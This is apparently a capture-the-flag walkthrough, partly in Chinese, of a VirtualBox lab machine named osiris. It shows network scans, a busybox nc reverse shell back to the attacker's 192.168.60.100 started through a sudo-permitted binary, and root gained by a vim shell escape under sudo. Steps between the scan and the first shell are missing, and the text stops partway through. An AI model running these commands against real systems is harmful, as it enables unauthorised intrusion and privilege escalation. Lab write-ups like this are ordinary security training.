❯ sudo arp-scan -l Password: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.155 08:00:27:f9:39:a8 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f5:9e:5f VMware, Inc.
11 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.000 seconds (128.00 hosts/sec). 4 responded ❯ export ip=192.168.60.155 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Port scanning: Because every port has a story to tell. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.60.155:22 Open 192.168.60.155:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 21:38 CST Initiating ARP Ping Scan at 21:38 Scanning 192.168.60.155 [1 port] Completed ARP Ping Scan at 21:38, 0.03s elapsed (1 total hosts) Initiating SYN Stealth Scan at 21:38 Scanning textpattern.dsz (192.168.60.155) [2 ports] Discovered open port 80/tcp on 192.168.60.155 Discovered open port 22/tcp on 192.168.60.155 Completed SYN Stealth Scan at 21:38, 0.02s elapsed (2 total ports) Nmap scan report for textpattern.dsz (192.168.60.155) Host is up, received arp-response (0.00036s latency). Scanned at 2025-07-30 21:38:30 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:F9:39:A8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
浏览器访问80端口，会跳转到域名
编辑hosts文件添加域名
1 2
❯ echo"$ip shieldweb.che"|sudotee -a /etc/hosts 192.168.60.155 shieldweb.che
love@osiris:~$ sudo -l Matching Defaults entries for love on osiris: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User love may run the following commands on osiris: (mitnick) NOPASSWD: /home/mitnick/sas love@osiris:~$ echo'busybox nc 192.168.60.100 4444 -e /bin/bash' > a.sh love@osiris:~$ chmod +x a.sh love@osiris:~$ sudo -u mitnick /home/mitnick/sas SSSSS AAA SSSSS S S A A S S S A A S SSSSS A A SSSSS S ### AAAAAAA ### S S S ### A A ### S S SSSSS A A SSSSS SAS v1.0 (c) SWITCHED ACCESS SERVICES 2023 Aquilino Morcillo
sas -h Available commands # sas -h Available commands: sas_call - listen to Services ls - List files and directories cat <filename> - Display contents of a file whoami - Show current user sas help (-h) - Show available commands version (-v) - Show application version run <filename> - Execute a file dir - Show the content of the current directory in wide format # run a.sh [+] Got reverse shell from osiris-192.168.60.155-Linux-x86_64 😍️ Assigned SessionID <4> (Penelope)─(Session [2])> interact 4 [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [4], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/osiris~192.168.60.155_Linux_x86_64/2025_08_25-00_15_40-154.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── mitnick@osiris:/home/love$ id uid=1003(mitnick) gid=1003(mitnick) grupos=1003(mitnick) mitnick@osiris:/home/love$ cd ~ mitnick@osiris:~$ ls publickey.pub sas secret.enc
mitnick@osiris:/home$ su tomu Contraseña: tomu@osiris:/home$ id uid=1001(tomu) gid=1001(tomu) grupos=1001(tomu) tomu@osiris:/home$ cd ~ tomu@osiris:~$ ls nokitel.md nokitel.png user.txt tomu@osiris:~$ cat user.txt 612701a03669485d94bc687449fdab39
用户存在sudo权限
1 2 3 4 5 6 7 8
tomu@osiris:~$ sudo -l [sudo] password for tomu: Matching Defaults entries for tomu on osiris: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tomu may run the following commands on osiris: (root) /opt/Contempt/Contempt tomu@osiris:~$ sudo /opt/Contempt/Contempt
会进入GUI界面，选择第二个即可进入vim程序
正常提权即可，底行模式:!/bin/bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root@osiris:/home/tomu# id uid=0(root) gid=0(root) grupos=0(root) root@osiris:/home/tomu# cat /root/root.sh #!/bin/sh
